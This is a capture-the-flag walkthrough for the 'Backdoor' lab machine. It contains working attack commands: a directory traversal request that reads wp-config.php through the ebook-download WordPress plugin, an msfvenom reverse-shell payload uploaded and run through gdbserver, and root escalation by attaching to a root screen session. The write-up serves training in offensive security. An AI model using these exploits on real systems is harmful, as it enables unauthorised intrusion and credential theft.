# Backdoor ## Nmap ``` nmap 10.10.11.125 -p- -sS -sV PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 1337/tcp open waste? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` {% hint style="info" %} Add "10.10.11.125 backdoor.htb" to /etc/hosts. {% endhint %} First up, checking port 1337 which `nmap` pick up as waste?. I was unable to pull any information from this service. Connecting with `nc` did not send back any information. The same process repeated with `Wireshark` also showed no information from this port. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FeYGUYmysmbw0mkLzDhoX%2Fimage.png?alt=media\&token=8d12441b-feef-4d54-9990-5ebb1bdc2df0) As such we will proceed to port 80 which, appears to be running `Wordpress` as shown below: ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fwy2EgPXV2KKzILJLLQgN%2Fimage.png?alt=media\&token=dff868b5-ce3a-49f9-aeeb-01ee7a46fa16) Standard enumeration with `feroxbuster` shows multiple typical WordPress `PHP` files. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FOrvIfQhuuDqFRvV9eVp4%2Fimage.png?alt=media\&token=e8c9357b-e842-46d5-8316-9566298dd342) Instead we jump over to `wpscan` in order to further enumerate the WordPress site. The following command was run to search all available plugins for known exploits. ```bash wpscan --url http://backdoor.htb -t 40 --detection-mode mixed --enumerate ap --plugins-detection aggressive ``` `wpscan` soon finds the vulnerable plugin `ebook-download` which is running version 1.1. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FTsJGalAFTrrP4s8Re38s%2Fimage.png?alt=media\&token=71c142b2-edba-4b62-84a9-bba894d0f8a6) `Searchsploit` shows a known exploit for eBook Download 1.1 for Directory Traversal. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FStoXe7kldhRhZ997wi4P%2Fimage.png?alt=media\&token=86b582a3-7c09-44a8-aeee-3692001d8973) **Exploit-DB:** With the following shown as a PoC: ```bash /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php ``` Testing this against the target system's WordPress site proves successful. We are able to read `/wp-settings.php`. ```bash curl "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php" ``` ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FS9mIjmHXexkwQlFTNSdi%2Fimage.png?alt=media\&token=351933f1-f371-40b8-9009-da56afa0915f) As shown above, this reveals the DB\_Password value. I tried to use this against the *admin* account and the *wordpressuser* account and was unable to proceed through either the login page or SSH against standard accounts. From here, further enumeration through `LFI` will be required. I started `ZAP Proxy` and sent a manual request through with the Directory Traversal PoC. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FDqYezHLwsKBD33SulUp7%2Fimage.png?alt=media\&token=e993aaca-8f1e-4e51-83d5-07f5281cf113) We get some interesting `LFI` results, however none that are of any use to us. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FmT5XfthXG3DjqxJ9zjPV%2Fimage.png?alt=media\&token=e74217e5-d3f3-4757-9d2f-1e1d68330a03) After much further enumeration I decided to search for running processes and their corresponding command lines. This is usually found under `/proc/PID/cmdline`. Where below the request will start with '1' and then, a number file through to 1000 will be generated using the 'numberzz' module in `ZAP Proxy`. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FPJpv22Z7x7FWgvlPhvAS%2Fimage.png?alt=media\&token=c2ca3f5b-e999-43fa-9270-ba2df72521c0) As shown below PID 816 shows `gdbserver` running on pot 1337 which we did not get any results for earlier. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FgaGgxWDUKdIDTD5WTDxC%2Fimage.png?alt=media\&token=f6e7fdf7-24f8-4975-a534-929c9b12a995) `Searchsploit` shows this could be vulnerable to `RCE`. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FSZbhvFqBPFqO4cY0U2gY%2Fimage.png?alt=media\&token=1c73bcb6-1f79-4bc9-ae70-58ea87bbc1cf) BookHackTricks has a great page on a few ways to exploit `gdbserver`. **BookHackTricks:** ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= PrependFork=true -f elf -o binary.elf chmod +x binary.elf gdb binary.elf # Set remote debuger target target extended-remote 10.10.11.125:1337 # Upload elf file remote put binary.elf binary.elf # Set remote executable file set remote exec-file /home/user/binary.elf # Execute reverse shell executable run ``` ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F1i26IAD5Nd6E379PinmZ%2Fimage.png?alt=media\&token=fed52ae3-5b84-47f8-80d7-4052fef4ac65) Where a shell is caught on our listener. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fc6qJMY0zz1X9Tn0iTusA%2Fimage.png?alt=media\&token=c45eb9ea-9c99-426b-9ff1-0329b3bc0d0f) {% hint style="info" %} Metasploit can also be used to exploit gdbserver. use exploit/multi/gdb/gdb\_server\_exec {% endhint %} Performing enumeration with `linpeas.sh` we have an interesting find pop up under the running processes and crons section. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FgMw1y2BZrZSQ5HEbpyTX%2Fimage.png?alt=media\&token=9eabe4a9-d5ab-4a21-bb13-e591af0e70a9) Looking at the above parameters we can see the from the screen help output below, that `-dmS` is used to start a screen daemon then disconnect it. In the case of above as root. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FlBiAxtlvACEpWYnjpo2h%2Fimage.png?alt=media\&token=a029ec2d-14be-4616-8aa7-0a142d6ebd40) The manual for screen can be found below: The linked forum post on Serverfault shows how we can identify existing screen sessions. **Serverfault:** ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FKr2P1mzcJNfQqafaNMEE%2Fimage.png?alt=media\&token=dbbd89e4-996d-4feb-99ad-45069f769e85) Looking further on how to connect to other users screen sessions, this forum post from 2006 describes it well: ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FKX8M5LbJF1d391Wu3Zq9%2Fimage.png?alt=media\&token=07e19bfb-3385-4915-b39e-3f9d30625431) As we know the root user account is currently running a screen session we can then connect to it. We know the session name from the running processes we found from `linpeas.sh`. ```bash screen -x "/" /var/run/screen -x root/root ``` Which gets us a `root` shell. ![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FFtF4sURouqse6NABKRWL%2Fimage.png?alt=media\&token=5481069b-c734-44b5-99be-d4167c215055)